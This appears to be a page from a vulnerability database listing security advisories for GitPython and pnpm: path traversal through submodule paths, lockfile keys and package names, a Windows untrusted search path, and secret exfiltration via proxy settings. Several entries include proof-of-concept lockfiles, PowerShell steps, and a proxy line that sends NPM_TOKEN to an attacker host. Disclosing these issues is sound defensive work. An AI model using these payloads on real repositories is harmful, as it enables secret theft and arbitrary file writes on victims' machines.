| High | 8.7 | EPSS 0.4% | CVE-2026-100689Shallow backup · GitPython submodule update path traversal can write outside the repository High8.7EPSS 0.4%GCVE DatabaseCVE-2026-100689 **Affected:** `GitPython` **3.1.61** (latest release) and `main` — `git/objects/submodule/base.py`. `git diff 3.1.61 origin/main -- git/objects/submodule/` is empty, so both are identical here. --- ## The gap The fix for `GHSA-hmq2-w58f-27jc` added `Submodule._validated_name()` and wired it into `update()` and five siblings, closing the `.gitmodules` **name** → `.git/modules/<name>` traversal. The other attacker-controlled `.gitmodules` field, **`path`**, is read raw: ```python # git/objects/submodule/base.py:172-177 def _set_cache_(self, attr): if attr in ("path", "_url", "_branch_path"): reader = self.config_reader() self.path = reader.get("path") # raw .gitmodules value ``` and GitPython's own containment guard is applied in only two of the places that consume it: ``` 400: def _to_relative_path(cls, parent_repo, path) # the guard (abspath + commonpath containment) 542: path = cls._to_relative_path(repo, path) # add() — guarded 1041: module_checkout_path = self._to_relative_path(self.repo, module_path) # move() — guarded ``` `update()` validates only the name and then uses the path-derived absolute location directly: ``` 788: self._validated_name(self.name) # NAME only 801: checkout_module_abspath = self.abspath # derived from self.path — unguarded 821: os.makedirs(checkout_module_abspath, exist_ok=True) ``` So `path = ../../../tmp/escaped` in an attacker-authored `.gitmodules` selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what `force_remove` hands to `shutil.rmtree`. The asymmetry is the argument: this is not a missing concept — the project wrote `_to_relative_path()` precisely for this, and `add()`/`move()` use it. `update()` does not. ## Honest limits (please read before rating) - **The most common flow is not affected.** `Repo.clone_from(...)` → `repo.submodules` → `sm.update(init=True)` re-derives `path` from a canonical tree lookup, and real git refuses to check out a tree containing a `..` component, so an evil `.gitmodules` never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a **non-HEAD commit** (a historical-commit API such as `submodule_update(previous_commit=...)`). - **The researcher did not build that end-to-end trigger.** The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in `update()`, and the unguarded `abspath` → `os.makedirs()` flow at 3.1.61 == `main`. ## Suggested fix Apply the guard the project already has, wherever the path is consumed: ```python # in update(), before deriving abspath (and in any other consumer of self.path): checkout_rel = self._to_relative_path(self.repo, self.path) # raises if it escapes the working tree ``` Better still, validate at the boundary: reject a `.gitmodules` entry whose `path` is absolute or contains a `..` component when the section is first read in `_set_cache_()`/`iter_items()`, so no consumer can be added later without the check. A regression test with `path = ../escaped` alongside the existing `name` test would pin both fields. ## Prior art checked `GHSA-hmq2-w58f-27jc` (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the `path` field or `_to_relative_path`. Searched issues and PRs for `_to_relative_path`, `gitmodules path` and `submodule traversal`: no report of this. ## Credit **kta1kri**. --- ## Appendix — `EVIDENCE_gitpython_path_unguarded_20260901.txt` (inlined; advisories accept no attachments) ```text === EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded === Mon Aug 31 18:45:22 UTC 2026 --- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty --- --- the containment guard GitPython owns, and its only two call sites --- 33: _to_relative_path, 400: def _to_relative_path(cls, parent_repo: "Repo", path: PathLike) -> PathLike: 407: path = _to_relative_path(parent_repo.working_tree_dir, path) 542: path = cls._to_relative_path(repo, path) 1041: module_checkout_path = self._to_relative_path(self.repo, module_path) --- the parent fix (_validated_name) call sites: it validates the NAME --- 309: def _validated_name(cls, name: str) -> str: 321: name = cls._validated_name(name) 541: cls._validated_name(name) 788: self._validated_name(self.name) 1040: self._validated_name(self.name) 1181: self._validated_name(self.name) 1439: self._validated_name(self.name) 1440: self._validated_name(new_name) 1489: self._validated_name(self.name) --- update(): name validated, path not; abspath -> os.makedirs --- try: self._validated_name(self.name) # ENSURE RE | GCVE Database | ||
| High | 7.8 | EPSS 0.3% | CVE-2024-22190Shallow backup · Untrusted search path under some conditions on Windows allows arbitrary code execution High7.8EPSS 0.3%GCVE DatabaseCVE-2024-22190 ### Summary This issue exists because of an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository. ### Details Although GitPython often avoids executing programs found in an untrusted search path since 3.1.33, two situations remain where this still occurs. Either can allow arbitrary code execution under some circumstances. #### When a shell is used GitPython can be told to run `git` commands through a shell rather than as direct subprocesses, by passing `shell=True` to any method that accepts it, or by both setting `Git.USE_SHELL = True` and not passing `shell=False`. Then the Windows `cmd.exe` shell process performs the path search, and GitPython does not prevent that shell from finding and running `git` in the current directory. When GitPython runs `git` directly rather than through a shell, the GitPython process performs the path search, and currently omits the current directory by setting `NoDefaultCurrentDirectoryInExePath` in its own environment during the `Popen` call. Although the `cmd.exe` shell will honor this environment variable when present, GitPython does not currently pass it into the shell subprocess's environment. Furthermore, because GitPython sets the subprocess CWD to the root of a repository's working tree, using a shell will run a malicious `git.exe` in an untrusted repository even if GitPython itself is run from a trusted location. This also applies if `Git.execute` is called directly with `shell=True` (or after `Git.USE_SHELL = True`) to run any command. #### When hook scripts are run On Windows, GitPython uses `bash.exe` to run hooks that appear to be scripts. However, unlike when running `git`, no steps are taken to avoid finding and running `bash.exe` in the current directory. This allows the author of an untrusted fork or branch to cause a malicious `bash.exe` to be run in some otherwise safe workflows. An example of such a scenario is if the user installs a trusted hook while on a trusted branch, then switches to an untrusted feature branch (possibly from a fork) to review proposed changes. If the untrusted feature branch contains a malicious `bash.exe` and the user's current working directory is the working tree, and the user performs an action that runs the hook, then although the hook itself is uncorrupted, it runs with the malicious `bash.exe`. Note that, while `bash.exe` is a shell, this is a separate scenario from when `git` is run using the unrelated Windows `cmd.exe` shell. ### PoC On Windows, create a `git.exe` file in a repository. Then create a `Repo` object, and call any method through it (directly or indirectly) that supports the `shell` keyword argument with `shell=True`: ```powershell mkdir testrepo git init testrepo cp ... testrepo git.exe # Replace "..." with any executable of choice. python -c "import git; print(git.Repo('testrepo').git.version(shell=True))" ``` The `git.exe` executable in the repository directory will be run. Or use no `Repo` object, but do it from the location with the `git.exe`: ```powershell cd testrepo python -c "import git; print(git.Git().version(shell=True))" ``` The `git.exe` executable in the current directory will be run. For the scenario with hooks, install a hook in a repository, create a `bash.exe` file in the current directory, and perform an operation that causes GitPython to attempt to run the hook: ```powershell mkdir testrepo cd testrepo git init mv .git/hooks/pre-commit.sample .git/hooks/pre-commit cp ... bash.exe # Replace "..." with any executable of choice. echo "Some text" >file.txt git add file.txt python -c "import git; git.Repo().index.commit('Some message')" ``` The `bash.exe` executable in the current directory will be run. ### Impact The greatest impact is probably in applications that set `Git.USE_SHELL = True` for historical reasons. (Undesired console windows had, in the past, been created in some kinds of applications, when it was not used.) Such an application may be vulnerable to arbitrary code execution from a malicious repository, even with no other exacerbating conditions. This is to say that, if a shell is used to run `git`, the full effect of CVE-2023-40590 is still present. Furthermore, as noted above, running the application itself from a trusted directory is not a sufficient mitigation. An application that does not direct GitPython to use a shell to run `git` subprocesses thus avoids most of the risk. However, there is no such straightforward way to prevent GitPython from running `bash.exe` to interpret hooks. So while the conditions needed for that to be exploited are more involved, it may be harder to mitigate decisively prior to patching. ### Possible solutions A straightforward approach would be to address each bug directly: - W | GCVE Database | ||
| High | 7.4 | EPSS 0.3% | CVE-2026-101043pnpm@10 · pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted High7.4EPSS 0.3%GCVE DatabaseCVE-2026-101043 ## Summary pnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`. This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them. ## Impact An attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs. This turns "I can author a project manifest" into "I read the victim's environment secrets." ## Affected versions Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values. - pnpm 11.x: `>= 11.0.0, < 11.11.0` - pnpm 10.x: `>= 10.7.0, < 10.34.5` The Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected. ## Patches - **pnpm 11.11.0** and later - **pnpm 10.34.5** and later The fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys. ## Workarounds Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing. ## Proof of concept ```yaml # pnpm-workspace.yaml in an untrusted repository packages: - . httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080" ``` With `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token. Unit level: ```js process.env.PNPM_TEST_TOKEN = 'secret' const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' }) // Vulnerable: o.httpsProxy === 'http://secret.evil/' // Patched: o.httpsProxy === undefined ``` Using `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface. ## Credit Reported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-82393pnpm@10 · pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install High7.5EPSS 0.6%GCVE DatabaseCVE-2026-82393 ## Summary When resolving a package, pnpm uses the resolved **manifest `name`** as a raw path segment for the isolated-linker import target. A tarball dependency whose `package.json` `name` is a scoped path traversal (`@x/../../…/<abs path>`) is therefore extracted **outside `node_modules`**, to an attacker-chosen absolute path, and can **overwrite existing files** there. Attacker controls the destination, filenames, and contents → arbitrary file write → **code execution** (e.g. `~/.zshrc`, `.git/hooks/pre-commit`, another package's code). Occurs during `pnpm install` **even with `--ignore-scripts`** (no lifecycle scripts run), defeating that safety. Same class as the just-patched **GHSA-hwx4** (transitive-dependency *alias* traversal) and **GHSA-v23m** (`stage download` manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved **name**. ## Root cause - The isolated-linker import target is built with a raw `path.join(modules, <resolved name>)` in `installing/deps-resolver/src/resolvePeers.ts:706`, `installing/deps-resolver/src/index.ts:614`, and `deps/graph-builder/src/lockfileToDepGraph.ts:233` — **without** the `safeJoinModulesDir` guard used on the symlink/hoisted/bin paths (`installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222`). The store location is `node_modules/.pnpm/<id>/node_modules/<name>`, so a traversal `<name>` escapes. - The only resolve-time name gate (`resolving/npm-resolver/src/pickPackage.ts:753`) rejects only *unscoped* names containing `/`, so a **scoped** `@x/../..` passes. ## Steps to reproduce Self-contained PoC (real `pnpm@11.9.0`; loopback tarball server; escape target is a throwaway temp dir): ``` npm i pnpm@11.9.0 # host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL pnpm install --ignore-scripts ``` Confirmed output (`repro/poc.mjs`, exit 0): ``` escape dir is outside the project : true new file implanted outside node_modules : true pre-existing file OVERWRITTEN : true *** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` *** ``` ## Remediation Route the isolated-linker import-target joins (`resolvePeers.ts:706`, `deps-resolver/index.ts:614`, `lockfileToDepGraph.ts:233`) through `safeJoinModulesDir` (as the hoisted linker already does), and/or enforce `validate-npm-package-name` on the resolved manifest name (close the scoped-name gap at `pickPackage.ts:753`) so the import target rejects a traversal name and re-asserts containment before any write. | GCVE Database | ||
| High | 7.1 | EPSS 0.6% | CVE-2026-82392pnpm · Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph High7.1EPSS 0.6%GCVE DatabaseCVE-2026-82392 ## Summary The virtual store linker constructs package installation directories using `path.join(modules, pkgName)` where `pkgName` is extracted from lockfile `packages` keys via `dp.parse(depPath).name` without validation. A crafted `pnpm-lock.yaml` with traversal sequences in depPath keys (e.g., `../../../tmp/pwned@1.0.0`) causes package content to be written to arbitrary filesystem paths during `pnpm install`. This is an incomplete fix of GHSA-fr4h-3cph-29xv — the `safeJoinModulesDir` containment helper was applied to the hoisted linker and `symlinkDependency` but NOT to the virtual store linker's `lockfileToDepGraph.ts:233`. ## Details ### Root Cause `dp.parse()` at `pnpm11/deps/path/src/index.ts:135` extracts the package name as: ```typescript const name = dependencyPath.substring(0, sepIndex) ``` This is a raw substring operation with zero validation that `name` is a valid npm package name. A depPath of `../../../tmp/pwned@1.0.0` yields `name = '../../../tmp/pwned'`. ### Vulnerable Code Path 1. `pnpm-lock.yaml` → `lockfile.packages['../../../../../../../tmp/pwned@1.0.0']` (attacker-controlled lockfile key) 2. `nameVerFromPkgSnapshot(depPath, pkgSnapshot)` at `lockfile/utils/src/nameVerFromPkgSnapshot.ts:16` → calls `dp.parse(depPath)` → returns `{ name: '../../../../../../../tmp/pwned' }` 3. `lockfileToDepGraph.ts:232` → `modules = path.join(dirInVirtualStore, 'node_modules')` 4. `lockfileToDepGraph.ts:233` → `dir = path.join(modules, pkgName)` → resolves to `/tmp/pwned` (ESCAPES virtual store) 5. `storeController.importPackage(depNode.dir, ...)` → writes package content to the traversed path ### Why Existing Defenses Don't Catch It - **`depPathToFilename()`** — replaces `/` with `+` for the `dirInVirtualStore` path, but `pkgName` comes SEPARATELY from `dp.parse()` and is NOT passed through this function - **`verifyLockfileResolutions()`** — validates dependency map keys (aliases) via `isValidDependencyAlias()`, but never validates the depPath keys themselves - **Lockfile parser** — `yaml.load(lockfileRawContent)` with no schema validation on `packages` keys - **`importPackage()`** — accepts `targetDir` and passes it directly to `cafsStore.importPackage(targetDir, ...)` with zero containment check - **Integrity verification** — requires a real fetchable package but does not validate the destination path ### Escalation to RCE (non-default config) When `dangerouslyAllowAllBuilds: true` is configured (or the traversal package name is in the explicit `allowBuilds` list), the same traversed path is used in the rebuild phase at `after-install/src/index.ts:402,470`. The attacker's `postinstall` script then executes with the victim's shell access. Under default config, `allowBuild` returns false for unknown packages, limiting impact to arbitrary file write. ### Also Affected (PnP linker) When `nodeLinker: pnp` is configured, `lockfileToPackageRegistry()` at `lockfile/to-pnp/src/index.ts:105-110` uses the same unvalidated `dp.parse().name` in `packageLocation` construction, allowing the `.pnp.cjs` resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker). ## Impact An attacker who can commit a crafted `pnpm-lock.yaml` to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs `pnpm install`. Written content is the actual package files from a real npm package (attacker controls which package and which destination). Targets for arbitrary file write include: - `.git/hooks/pre-commit` — code execution on next git operation - `~/.local/bin/` — binary hijacking - Project source files — supply chain injection ## Reproduction Craft a `pnpm-lock.yaml`: ```yaml lockfileVersion: '9.0' packages: ../../../../../../../tmp/pwned@1.0.0: resolution: {integrity: sha512-<real-package-integrity>} engines: {node: '>=14'} snapshots: ../../../../../../../tmp/pwned@1.0.0: {} importers: .: dependencies: legitimate-name: specifier: ^1.0.0 version: ../../../../../../../tmp/pwned@1.0.0 ``` Run `pnpm install` — package content is written to `/tmp/pwned/` instead of the virtual store. ## Recommended Fix Apply `safeJoinModulesDir` (or equivalent validation) at: - `lockfileToDepGraph.ts:233` — `path.join(modules, pkgName)` - `after-install/src/index.ts:402` — `path.join(pkgModulesDir(depPath), pkgInfo.name)` - `lockfile/to-pnp/src/index.ts:105-110` — PnP `packageLocation` Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via `dp.parse()`. ## Relationship to GHSA-fr4h-3cph-29xv GHSA-fr4h-3cph-29xv fixed the hoisted linker path (`lockfileToHoistedDepGraph.ts:222`) by adding `safeJoinModulesDir`. The same fix was NOT applied to the virtual store linker, which uses the identical `dp.parse().name → path.join()` pattern at `lockfileToDepGraph.ts:233`. | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%GCVE DatabaseCVE-2026-59196 ## Summary The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet. A crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work. ## Security boundary - The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink. - The helper rejects traversal, absolute, platform-specific, and reserved package names. - Pacquet validates the hoister's `dep.0.name` before adding the graph node or recursing. - Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases. ## Exploit replay Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created. ## Files changed - `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper. - `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink. - `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust. - TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names. ## Commands run ```text $ pnpm --filter @pnpm/fs.symlink-dependency test PASS: 24 tests $ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts PASS: exploit regression and positive install control $ cargo test --locked -p pacquet-package-manager --lib PASS: 426 tests $ cargo fmt --all -- --check PASS ``` ## Validation - TypeScript symlink helper: 24 passed. - TypeScript exploit regression: 1 passed. - TypeScript positive hoisted-install control: 1 passed. - Targeted strict TypeScript compiles: passed. - Targeted ESLint: zero errors. - Pacquet helper tests: 3 passed. - Full pacquet package-manager library suite: 426 passed. - `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed. ## Patch Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1 GitHub reports the branch as mergeable and has requested review from `zkochan`. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability ## Compatibility Valid unscoped and scoped package aliases continue to work. The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity. --- Written by an agent (Codex, GPT-5). | GCVE Database | ||
| High | 8.2 | EPSS 0.4% | CVE-2026-59195configDependencies env lockfile · pnpm: Path traversal High8.2EPSS 0.4%GCVE DatabaseCVE-2026-59195 ## Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory: ```text expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This works with `--ignore-scripts`, so it does not rely on lifecycle script execution. ## Vulnerable behavior The vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern is: ```ts const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config') for (const [pkgName, pkg] of Object.entries(normalizedDeps)) { const configDepPath = path.join(configModulesDir, pkgName) const pkgDirInGlobalVirtualStore = path.join( globalVirtualStoreDir, relPath, 'node_modules', pkgName ) await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath) } ``` If `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`. ## Impact A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior. The issue is especially relevant because: * The malicious input is committed in `pnpm-lock.yaml`. * The issue is triggered during `pnpm install`. * It works with `--ignore-scripts`. * It occurs in the config dependency installation path, before ordinary dependency installation. * The user only needs to install a malicious or compromised repository. ## Local proof of concept The following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`. Command used: ```bash python3 ../pnpm_configdeps_path_traversal_poc.py \ --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \ --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log ``` Observed output: ```text [+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim [+] Local registry: http://127.0.0.1:36545/ [+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store [+] Malicious name: '../../PWNED_CFGDEP' [+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config [+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP [+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml [+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/ ``` pnpm output: ```text Installing config dependencies... Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 Already up to date Done in 906ms using pnpm v11.5.1 ``` The PoC then detected the escaped symlink: ```text [+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP [VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP ``` ## Malicious lockfile structure The malicious input is an env-lockfile `configDependencies` key containing traversal components: ```yaml importers: .: configDependencies: legit-config-dep: specifier: '1.0.0' version: '1.0.0' '../../PWNED_CFGDEP': specifier: '1.0.0' version: '1.0.0' ``` pnpm accepts the traversal-shaped name and reports it as installed: ```text Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 ``` ## Security boundary violation The intended config dependency root was: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config ``` But pnpm created: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked. ## Suggested remediation Validate every ` | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-59194pnpm · `patch-remove` could delete project-selected files outside the patches directory High7.1EPSS 0.4%GCVE DatabaseCVE-2026-59194 ## Summary The `patch-remove` deletion-scope issue tracked as GHSA-72r4-9c5j-mj57 / CAND-PNPM-030 has been addressed in pnpm. A crafted patch entry could resolve outside the configured patches directory and cause `pnpm patch-remove` to delete an arbitrary reachable file. This patch validates the configured directory and every resolved target before unlinking anything, then deletes the final directory entry without following it. ## Security boundary - Traversal and absolute paths that resolve outside the configured patches directory are rejected before deletion. - Parent directories are canonicalized before deletion, including the case where a nested symlink points outside and the final outside entry is itself dangling. - The complete batch is validated before any file is removed. - Component-aware predicates accept valid names beginning with `..` while still rejecting parent traversal, Windows drive escapes, and UNC escapes. - Valid files and symlinked patch directories whose canonical targets remain below the lockfile directory continue to work. - A final symlink inside a valid patch directory is unlinked without following its target, including when the target is outside or dangling. ## Exploit replay Before the patch, a workspace `patchedDependencies` path that resolved outside the project caused `pnpm patch-remove` to delete the external sentinel. A second replay used a nested parent symlink and a dangling outside victim: `realpath()` returned `ENOENT`, yet the victim was still removed. With this patch, both paths are rejected and the outside entries remain intact. ## Files changed - `patching/commands/src/isSubdirectory.ts` performs component-aware containment checks. - `patching/commands/src/patchRemove.ts` validates the full batch, canonicalizes parents, and unlinks final entries without following them. - `patching/commands/test/{isSubdirectory,patchRemove}.test.ts` covers traversal, nested symlinks, dangling victims, and valid removals. ## Commands run ```text $ pnpm --filter @pnpm/patching.commands test test/isSubdirectory.test.ts test/patchRemove.test.ts PASS: 11 tests across 2 suites $ pnpm --filter @pnpm/patching.commands run compile PASS $ git diff --check PASS ``` ## Validation - Focused handler and path-predicate suites: 11 passed across 2 suites. - Package-wide ESLint: passed. - Package TypeScript build: passed. - Commit hooks, Commitlint, and `git diff --check`: passed. - The broader integration harness was environment-blocked because it writes outside the available temporary root; focused handler tests used `/private/tmp`. ## Patches `10.34.4`: https://github.com/pnpm/pnpm/commit/352ae489f1b14ffdc19d2c6eacb1b06b098c2ddc `11.7.0`: https://github.com/pnpm/pnpm/commit/612a2e6a7333f2b061f452a21b6e62c1c161747f ## Compatibility Missing patch files remain no-ops. Valid symlinked patch directories continue to work when their canonical target stays inside the lockfile directory, and final symlinks are removed without touching their targets. `patch-remove` is not yet in pacquet's command surface, so no Rust-side parity change is required. ## Remaining risk Portable Node APIs do not expose directory-fd-relative `unlinkat()`. A local attacker who can replace an already validated parent directory before the unlink may still win a time-of-check/time-of-use race. The reproduced repository-controlled traversal and symlink paths do not require that concurrent capability and are blocked by this patch. --- Written by an agent (Codex, GPT-5). | GCVE Database | ||
| Medium | 6.5 | EPSS 0.4% | Medium6.5EPSS 0.4%GCVE Database <details> <summary>Maintainer Action Plan</summary> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4 - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `appendix` - Component: `pnpm global add/remove bin cleanup` - Patch area: bin name/path segment validation - Affected packages: `npm:pnpm` - CWE IDs: `CWE-22`, `CWE-73` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves `PNPM_HOME` and the sentinel file intact. ### Files And Tests To Review - `bins/resolver/src/index.ts` - `bins/resolver/test/index.ts` - `global/commands/test/globalRemove.test.ts` - `pacquet/crates/cmd-shim/src/bin_resolver.rs` - `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` - `.changeset/strange-bin-segments.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. - Use the private PR checks plus the patched replay coverage matrix for this candidate. The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-085-patched-result.json`. <!-- maintainer-action:end --> ## Title Reserved manifest bin names can make global package operations delete outside the global bin directory </details> ## Description ### Summary Manifest `bin` object keys such as `""`, `"."`, and `".."` passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `"."` this targets the global bin directory; for `".."` this targets its parent. ### Details The vulnerable dataflow was: - `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping. - `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values. - `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`. - `bins/remover/src/removeBins.ts` recursively removed the resulting path. Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations. ### PoC Run: The script first performs a safe prepatch simulation in a temporary directory: ```text prepatch_reserved_bin_name=.. prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home 